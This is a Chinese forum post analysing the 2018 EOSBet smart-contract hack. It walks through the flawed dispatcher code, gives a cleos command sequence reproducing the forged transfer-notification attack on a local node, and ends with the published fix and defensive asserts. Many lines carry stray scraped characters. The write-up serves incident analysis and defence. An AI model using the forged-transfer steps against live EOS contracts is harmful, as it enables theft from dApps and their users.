Hi 游客

更多精彩,请登录!

比特池塘 区块链技术 正文
本文所有过程均在本地测试节点完成
4 ]- S7 u2 w# ]8 |# Z! M6 |文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis0 N$ r7 G6 Z& p9 k* O6 _
0x00 背景0 r- B4 G- z- e* w
EOSBet在9月14日遭到黑客攻击,根据EOSBet官方通告,此次攻击共被盗44,427.4302 EOS(折合人民币160万,9月14日价格)。0 i/ Y$ F* ~: d8 j1 e
4 A! q, p) o" q  J
0x01 技术分析
; d( W) u( x" n/ m, x由于EOSBet代码并未开源,但官方复盘攻击事件后给出了EOSIO_ABI
2 m% T% T( Z3 u/ `. A' e$ j// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers
2 y& _$ P% q: ^0 l+ D# D#define EOSIO_ABI_EX( TYPE, MEMBERS ) \& D7 j7 F0 p' T0 f: ~
extern "C" { \
9 i, @9 F, O/ Y2 y4 q  I        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
: e& m) I( c% J- M# d                auto self = receiver; \; [$ N6 W  _3 H  u: ]2 q5 p
                if( action == N(onerror)) { \
) T& H5 ~" [" ]! K& u# @: K                        /* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \1 P6 E  I! d- ?% q0 Y9 M( L
                        eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \
# {- S. R5 _8 v  \                } \
2 p# v" f: h2 {6 z  x                if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
$ E- D, `- x& Z. P& n5 N                        TYPE thiscontract( self ); \  C9 ]% J, }! W* s: e" m( S
                        switch( action ) { \
" l8 H) l3 m/ I) j* K                                EOSIO_API( TYPE, MEMBERS ) \
% {. t- L$ ]0 ~. X# F/ e7 n                        } \5 E/ M8 |* f& |; o) }
                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \" t/ _0 m- n& T
                } \
# c/ M0 M. Y) _9 g$ a+ G        } \+ z5 r1 S( z" c; o5 {4 W
}
, m6 f' t8 `' ^. }7 ^8 y4 ^$ t通过官方给出的EOSIO_ABI,问题主要出在以下代码
1 a, S! Z7 r9 ]2 T! b' wif( code == self || code == N(eosio.token) || action == N(onerror) ) { \
- ?  k) F8 ^5 y+ P8 }                        TYPE thiscontract( self ); \" a. [2 e: Z& m
                        switch( action ) { \
$ Q+ h8 w; A  t+ p                                EOSIO_API( TYPE, MEMBERS ) \
6 O: [" E. l* g4 j2 o& p9 R                        } \
- g5 l) [  x8 F7 q3 T! L                }& ]9 w8 {+ }& }; N2 N8 a
该合约对action进行转发的时候仅仅验证了code == self(调用者必须是该合约本身,即eosbetdice11)和code == N(eosio.token)(调用者必须是eosio.token)。从这里看似乎是验证了只有合约本身和eosio.token可以调用合约函数。, z/ R- }) m# }4 g/ T
但是,开发者忽略了这一点。如果A合约直接向B合约发起一个transaction调用B合约的函数,那么本质上是B合约自身完成函数调用,也就是说任何合约都可以调用eosbetdice11合约中abi暴露的函数。4 b& H7 h8 |. K$ O5 q! Y8 G
黑客可以直接调用eosbetdice11合约中的transfer函数,即不用消耗任何EOS来玩EOSBet,输了不赔赢了稳赚。
  r  _1 }9 W* _. H- W* |" p, L: D0x02 攻击复盘
( K0 s+ E3 g6 K. k) C1 @& ]创建eosio.token账户; w  c. [6 E( b& }, x/ z+ O; h
cleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV
6 G  V; K2 p) h/ g0 |* S: k4 v' ^. D部署eosio.token合约并初始化
- K$ ~8 a* a- W1 u; s: g# 部署合约0 p! Q+ H. O& _* W, v
cleos set contract eosio.token /home/user/contracts/eosio.token -p eosio9 D( H( x; Z% {$ N5 M" }
# 初始化合约# U, `. ?% Q% C# T
cleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token3 B$ w: a; k! N; P1 Y$ ?$ X
创建游戏账户、开奖账户和攻击者账户: b  P' F& z  R0 Z. t: N. ?: F" D
#创建游戏账户和开奖账户0 o$ m' X+ R: q' l! ]% i. c+ V
cleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
8 c* f7 W' L9 E* gcleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
1 G* \3 k3 L. `1 W#创建攻击者账户1 y8 y: y3 @2 }" A
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
  h# R$ t+ Q  Q! \3 X4 x0 ]$ L设置账户随机权限和开奖权限
' r! @. d6 k/ j4 C#设置权限
& d8 |8 H. A' g; W7 e. Jcleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner  v/ D! L# ~0 z: n8 b5 G1 a
cleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner# z% W2 R* [% c
#设置开奖权限
  |! [  U9 Y( K( g& T3 Y# a- Jcleos set action permission eosbetcasino eosbetdice11 resolvebet random" A( `0 E, F+ b& O
向相关账户冲入代币& C/ ^" {7 i1 C7 ?
#往相关账户充值
4 n1 J  S- F$ Ncleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active
. h; D! n6 ~1 K" d$ J% J' |cleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active3 g2 \: U; X3 |7 i
![4.png]()
7 M6 ^& s2 U; H# m部署游戏合约并初始化# [  x0 `, ^) F3 m) a
#部署游戏合约
( P- s7 w" c/ `8 W* \( I" mcleos set contract eosbetdice11 /home/user/contracts/eosbetdice
4 g. Y, w" j$ {3 f& W#初始化游戏合约6 [& |/ L. n8 T- ?$ W+ g& P# |# p' c
cleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino8 E. T$ G! G& G& k# s" E7 @/ ?( E
模拟黑客攻击(伪造转账通知)8 y* O& W4 h! Y' l  b
cleos push action eosbetdice11 transfer '["attacker", "eosbetdice11", "10.0000 EOS", "66-attacker-"]' -p attacker
3 p. B  i) m% Z0 L" l8 B查询游戏订单
$ N9 c. E) W! K9 Q1 D0 D; qcleos get table eosbetdice11 eosbetdice11 activebets; g0 _- B7 _3 n8 [* E% P

+ B, r2 z& w6 _$ J' x1 p/ e可见,游戏订单已经生成,查询attacker和eosbetdice11账户
) }9 d. N" [# ^1 l. O5 J& I
$ W* Y  F: Y; E( c: T- z# [按照游戏规则,只有在支付了EOS后才能生成游戏,但是被黑客攻击后生成订单并没有消耗任何的EOS。+ E7 o% |; K% F7 \3 ?& W; r( A
最后对该订单进行开奖。
& F- i  k7 h6 j7 `& y# j" {& }4 ncleos push action eosbetdice11 resolvebet '{"bet_id":"237902368081510060", "sig":"SIG_K1_K862MEbB45rMi9bvYRPbqA9F6tbrte9osUbZk3fUXXvsnf3zQRNdyYrunc4zhyQWUho2a4meho1k8kNvnrLLYdW1ge8kD1"}' -j -p eosbetcasino@random
, I$ U5 G8 j! q2 ~( Q; F" K% a$ ^$ w2 I4 b# R1 T
总结,黑客伪造转账通知来玩游戏不消耗任何EOS,游戏成功即可获利,即使最后游戏失败也不会有任何损失。
% O/ K; i/ d/ g3 M4 f0x03 后记% H' b9 o# m- m9 e
EOSBet随后将修复方案公开' O4 Y% I& l2 S2 w) I$ d
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers
) j$ S; R' P- V/ s, b; p#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
7 m+ b+ H4 r% D, V8 j- l( Q5 q1 bextern "C" { \
: ^4 ~' X  @0 I6 }+ S9 s        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
1 \  F  Y3 c  a                auto self = receiver; \) |; F* X' x, q: P; d$ m
                if( code == self || code == N(eosio.token)) { \
/ @& Q2 @  D  y- y                        if( action == N(transfer)){ \- ]. r# ]# R2 q2 {$ J
                                // 必须是eosio.token来调用合约自身的transfer函数# c& b5 Q4 w, Y! r
                                eosio_assert( code == N(eosio.token), "Must transfer EOS"); \; L# u6 D$ B* \6 n
                        } \6 n9 T/ `+ q7 g
                        TYPE thiscontract( self ); \
% ^0 Y  h1 q. \  f4 y4 g                        switch( action ) { \6 d! [* ^) [' x- Q0 J* e7 ~6 ^8 z
                                EOSIO_API( TYPE, MEMBERS ) \
* P; k. X1 v" p. ^3 h                        } \* ^: N1 b$ A, k) A1 N
                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
0 T0 A# `6 G" Z1 k. d4 ], q9 T                } \+ b5 s4 f9 v' s8 f/ u& [! s
        } \
8 M0 h& U7 N9 X4 B4 |5 L9 t% p/ ]}. W+ f- Z0 v- i1 R7 H
可以看到,EOSBet官方给出的修复方案是仅有eosio.token合约可以调用transfer函数。官方修复后将代码开源到Gitlab,地址为https://gitlab.com/EOSBetCasino/eosbetdice_public,但是在整整一个月后又遭到了转账通知伪造攻击。欲知详情,请听下回分解:D
0 S+ Z0 N) l$ ?2 Y3 p* s+ z+ W0x04 修复方案: ]* M) p9 }$ l& H# g& E2 s" |
零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:8 ?; f8 W' S& [" _( A' l8 i
) @" z, V9 `% N8 _$ K- x1 \
通知是否来自eosio.token,即只处理eosio.token发送的通知
  o2 ~" T, y/ s# h9 n. Deosio_assert(code == N(eosio.token), "Must transfer from eosio.token");1 _# Z* J$ O% R) @+ g& P
9 n# x6 Y, S9 \6 ]! b- w, q. L7 w
转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知2 N! @# @9 W- z  F. F# i) E: o9 n
eosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");
BitMere.com 比特池塘系信息发布平台,比特池塘仅提供信息存储空间服务。
声明:该文观点仅代表作者本人,本文不代表比特池塘立场,且不构成建议,请谨慎对待。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

成为第一个吐槽的人

蓝天天使2017 初中生
  • 粉丝

    0

  • 关注

    0

  • 主题

    10